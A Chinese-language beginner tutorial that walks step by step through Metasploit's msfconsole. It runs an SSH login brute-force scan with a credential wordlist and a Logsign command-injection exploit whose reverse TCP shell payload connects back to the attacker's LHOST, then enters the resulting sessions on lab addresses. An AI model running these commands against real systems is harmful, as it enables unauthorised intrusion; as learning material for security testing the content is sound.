Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它具有图形化界面和命令行界面,这里讲的是msfconsole惯用的操作流程。本章使用的metasploit v5.0.2-dev版本,所以进入到msfconsole时,前缀是"msf5>",kali系统可以通过界面化启动metasploit,通过命令行启动服务,执行命令,metasploit依赖postgresql数据库:
service postgresql start #启动postgresql服务
service metasploit start #启动metasploit服务
在进行攻击之前,搜集了足够多的信息,如果没有搜集足够的信息,想通过metasploit的辅助模块来搜集相关系统的信息。可以在msfconsole的命令行输入你想搜集的信息。或者查看所有辅助模块。可以执行命令,这里使用了-S 参数:
msf5>search -S auxiliary auxiliary
查找到相关模块后,选择所需模块。这里以auxiliary/scanner/ssh/ssh_login为例,该模块功能是"ssh登录检查扫描",执行命令是:
msf5>use auxiliary/scanner/ssh/ssh_login
查找使用模块的信息的信息,这里使用第二步加载的模块:
msf5 auxiliary(scanner/ssh/ssh_login)>info
会显示模块的一下描述信息及基本参数信息。
显示该模块可以使用的攻击载荷,如果是scanner时不需要使用(如果执行该命令,显示的所有可用的攻击载荷),,如果是exploit可以使用该命令查看可以使用的攻击载荷。例如选择攻击模块为“exploit/linux/http/logsign_exec”,该模块是“loginsign远程命令注入”,执行命令如下:
msf5 exploit(linux/http/logsign_exec)>show payloads
会显示该攻击模块可以使用的攻击载荷。
按照第四步选择的那个攻击模块“exploit/linux/http/logsign_exec”,从攻击载荷中选择一个攻击载荷,例如选择“generic/shell_reverse_tcp”这个攻击载荷,该载荷的功能是“通用的shell命令,反射TCP连接”,操作命令是:
msf5 exploit(linux/http/logsign_exec)>set payload generic/shell_reverse_tcp
设置成功,会在命令行提示“payload=>generic/shell_reverse_tcp”。
查看攻击目标信息。
show targets
show options查看攻击和负载模块的基本配置参数。show advanced查看攻击和负载模块的高级配置参数。执行命令如下:
msf5 exploit(linux/http/logsign_exec) show options
msf5 exploit(linux/http/logsign_exec) show advanced
设置攻击与载荷模块的配置参数。这里只设置要攻击的目标地址IP“RHOSTS”,载荷的本地地址IP“LHOST”,其他使用默认值。
msf5 exploit(linux/http/logsign_exec)>set RHOST 192.168.88.138
msf5 exploit(linux/http/logsign_exec)>set LHOST 192.168.88.132
设置成功后在命令行显示:“RHOSTS => 192.168.88.138、LHOSTS => 192.168.88.132”
如果是辅助扫描模块。这里设置使用的目标地址IP“RHOSTS USERPASS_FILE ” :
msf5 auxiliary(scanner/ssh/ssh_login)>set RHOSTS 192.168.88.137
msf5 auxiliary(scanner/ssh/ssh_login)>set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
参数设置完毕。执行攻击命令进行攻击。如果是scanner模块,可以跳过“第三、四、五、六”步,执行第七步参数配置后,执行run命令进行扫描。如果是‘auxiliary/scanner/ssh/ssh_login’执行命令:
msf5 auxiliary(scanner/ssh/ssh_login)>run
如果是“exploit/linux/http/logsign_exec”执行命令:
msf5 exploit(linux/http/logsign_exec)> exploit
列出所有可用的交互会话以及详细信息。
msf5 exploit(linux/http/logsign_exec)>session -l
通过指定Id,进入指定会话。例如进入会话的Id为2,执行命令是:
msf5 exploit(linux/http/logsign_exec) >session -i 2
进入当前活动会话,可以进行一些shell命令的操作。
通过上述一些操作流程,能进行简单的攻击学习。该流程适合入门,可以培养安全测试的兴趣。孰能生巧,该流程比较多,可能熟练之后,这么多步,可能只需要五步,如果有问题可以加入群讨论。